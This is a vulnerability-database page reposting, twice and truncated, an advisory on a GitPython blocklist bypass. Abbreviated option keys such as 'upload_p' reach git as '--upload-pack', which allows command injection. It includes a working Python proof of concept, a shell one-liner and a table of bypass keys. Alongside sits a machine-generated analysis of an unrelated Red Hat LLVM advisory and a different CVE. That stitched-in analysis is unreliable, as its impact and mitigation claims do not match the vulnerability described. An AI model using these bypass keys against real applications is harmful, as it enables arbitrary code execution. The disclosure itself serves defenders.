Snakemake: GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist (CVE-2026-67325)
## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ### The asymmetry (root cause) ```python # git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire
AI Analysis
Technical Summary
The Red Hat Security Advisory RHSA-2026:44416 updates multiple LLVM-related RPM packages in Red Hat Hardened Images to address several vulnerabilities, including CVE-2026-67322. This CVE describes a vulnerability in GitPython's Repo.clone_from() method where an attacker-controlled Git repository URL containing environment variable references can cause those variables to be expanded and sent to an attacker-controlled server. This results in information disclosure of sensitive environment variables such as access keys or tokens. The advisory recommends mitigating this by ensuring that sensitive environment variables are not present in the process environment when cloning untrusted repositories or by validating and sanitizing repository URLs before use. The advisory does not explicitly state a fixed version but provides updated RPMs with version 22.1.8-4.1.hum1 for affected components. No known exploits in the wild are reported.
Potential Impact
The vulnerability allows remote attackers to exfiltrate sensitive environment variables from applications using GitPython's Repo.clone_from() method with attacker-controlled repository URLs. This leads to confidentiality breaches, potentially exposing credentials or tokens. The impact is limited to information disclosure; integrity and availability are not affected. No active exploitation has been reported.
Mitigation Recommendations
Red Hat provides updated RPM packages that address the vulnerabilities described. Users should apply these updates to Red Hat Hardened Images RPMs as provided by Red Hat. Additionally, to mitigate the GitPython vulnerability, applications should avoid running with sensitive environment variables present when cloning from untrusted sources or implement strict validation and sanitization of Git repository URLs before passing them to Repo.clone_from(). A service restart may be necessary for environment variable changes to take effect. Patch status is confirmed by the vendor advisory indicating updated RPMs are available.
Snakemake: GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist (CVE-2026-67325)
Description
## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ### The asymmetry (root cause) ```python # git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire
CVSS v3.1
Score 8.8high
Affected software
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AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The Red Hat Security Advisory RHSA-2026:44416 updates multiple LLVM-related RPM packages in Red Hat Hardened Images to address several vulnerabilities, including CVE-2026-67322. This CVE describes a vulnerability in GitPython's Repo.clone_from() method where an attacker-controlled Git repository URL containing environment variable references can cause those variables to be expanded and sent to an attacker-controlled server. This results in information disclosure of sensitive environment variables such as access keys or tokens. The advisory recommends mitigating this by ensuring that sensitive environment variables are not present in the process environment when cloning untrusted repositories or by validating and sanitizing repository URLs before use. The advisory does not explicitly state a fixed version but provides updated RPMs with version 22.1.8-4.1.hum1 for affected components. No known exploits in the wild are reported.
Potential Impact
The vulnerability allows remote attackers to exfiltrate sensitive environment variables from applications using GitPython's Repo.clone_from() method with attacker-controlled repository URLs. This leads to confidentiality breaches, potentially exposing credentials or tokens. The impact is limited to information disclosure; integrity and availability are not affected. No active exploitation has been reported.
Mitigation Recommendations
Red Hat provides updated RPM packages that address the vulnerabilities described. Users should apply these updates to Red Hat Hardened Images RPMs as provided by Red Hat. Additionally, to mitigate the GitPython vulnerability, applications should avoid running with sensitive environment variables present when cloning from untrusted sources or implement strict validation and sanitization of Git repository URLs before passing them to Repo.clone_from(). A service restart may be necessary for environment variable changes to take effect. Patch status is confirmed by the vendor advisory indicating updated RPMs are available.
Technical Details
- Gcve Source
- db.gcve.eu
- Csaf Category
- csaf_security_advisory
- Csaf Version
- 2.0
- Publisher
- Red Hat Product Security
- Advisory Id
- RHSA-2026:44416
- Cve Count
- 2
- Additional Cves
- ["CVE-2026-67326"]
Threat ID: 6a710663bf32cb7a34394316
Added to database: 08/03/2026, 21:21:39 UTC
Last enriched: 08/11/2026, 12:58:20 UTC
Last updated: 09/18/2026, 01:12:51 UTC
Views: 61
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